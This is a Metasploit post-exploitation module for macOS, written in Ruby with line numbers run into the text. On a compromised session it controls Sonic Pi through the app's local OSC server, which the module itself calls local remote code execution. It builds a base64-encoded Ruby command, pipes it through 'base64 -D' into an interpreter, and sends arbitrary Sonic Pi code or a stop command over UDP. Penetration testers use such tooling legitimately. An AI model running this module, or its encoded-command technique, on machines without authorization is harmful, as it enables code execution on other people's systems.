Path: blob/master/modules/post/osx/manage/sonic_pi.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize(info = {})8super(9update_info(10info,11'Name' => 'OS X Manage Sonic Pi',12'Description' => %q{13This module controls Sonic Pi via its local OSC server.1415The server runs on 127.0.0.1:4557 and receives OSC messages over UDP.1617Yes, this is RCE, but it's local. I suggest playing music. :-)18},19'Author' => [20'Sam Aaron', # Sonic Pi21'wvu' # Module and Sonic Pi example22],23'References' => [24%w[URL https://sonic-pi.net/],25%w[URL https://github.com/samaaron/sonic-pi/wiki/Sonic-Pi-Internals----GUI-Ruby-API],26%w[URL http://opensoundcontrol.org/spec-1_0]27],28'License' => MSF_LICENSE,29'Platform' => 'osx',30'SessionTypes' => %w[meterpreter shell],31'Actions' => [32['Run', { 'Description' => 'Run Sonic Pi code' }],33['Stop', { 'Description' => 'Stop all jobs' }]34],35'DefaultAction' => 'Run',36'Notes' => {37'Stability' => [CRASH_SAFE],38'SideEffects' => [AUDIO_EFFECTS, SCREEN_EFFECTS],39'Reliability' => []40}41)42)4344register_options([45OptAddress.new('OSC_HOST', [true, 'OSC server host', '127.0.0.1']),46OptPort.new('OSC_PORT', [true, 'OSC server port', 4557]),47OptBool.new('START_SONIC_PI', [true, 'Start Sonic Pi', false]),48OptPath.new(49'FILE',50[51true,52'Path to Sonic Pi code',53File.join(Msf::Config.data_directory, 'post', 'sonic_pi_example.rb')54]55)56])5758register_advanced_options([59OptString.new(60'SonicPiPath',61[62true,63'Path to Sonic Pi executable',64'/Applications/Sonic Pi.app/Contents/MacOS/Sonic Pi'65]66),67OptString.new(68'RubyPath',69[70true,71'Path to Ruby executable',72'/Applications/Sonic Pi.app/server/native/ruby/bin/ruby'73]74)75])76end7778def osc_host79datastore['OSC_HOST']80end8182def osc_port83datastore['OSC_PORT']84end8586def sonic_pi87datastore['SonicPiPath'].shellescape88end8990def ruby91datastore['RubyPath'].shellescape92end9394def check_lsof95cmd_exec("lsof -ni :#{osc_port} && echo true").end_with?('true')96end9798def run99begin100unless check_lsof101print_error('Sonic Pi is not running')102103return if @tried104105if datastore['START_SONIC_PI']106print_status('Starting Sonic Pi...')107108# XXX: shell_command_token uses ; as a command separator109cmd_exec("#{sonic_pi} & :")110sleep(10)111112@tried = true113raise RuntimeError114end115116return117end118rescue RuntimeError119retry120end121122print_good('Sonic Pi is running')123124case action.name125when 'Run'126print_status("Running Sonic Pi code: #{datastore['FILE']}")127when 'Stop'128print_status('Stopping all jobs')129end130131cmd = "echo #{Rex::Text.encode_base64(code)} | base64 -D | #{ruby}"132133vprint_status(cmd)134cmd_exec(cmd)135end136137def code138<<~EOF139require 'socket'140UDPSocket.new.send("#{msg}", 0, '#{osc_host}', #{osc_port})141EOF142end143144def msg145Rex::Text.to_hex_ascii(146case action.name147when 'Run'148"/run-code\x00\x00\x00,ss\x00#{agent}#{file}"149when 'Stop'150"/stop-all-jobs\x00\x00,\x00\x00\x00"151end152)153end154155def agent156# Generate random null-terminated agent string157agent = "#{Faker::App.name}\x00"158159# Pad string with nulls until its length is a multiple of 32 bits160agent << "\x00" until agent.length % 4 == 0161162# Return null-terminated and null-padded string163agent164end165166def file167# Read file as null-terminated string168@file = "#{File.read(datastore['FILE'], mode: 'rb')}\x00"169170# Pad string with nulls until its length is a multiple of 32 bits171@file << "\x00" until @file.length % 4 == 0172173# Return null-terminated and null-padded string174@file175end176177end178179180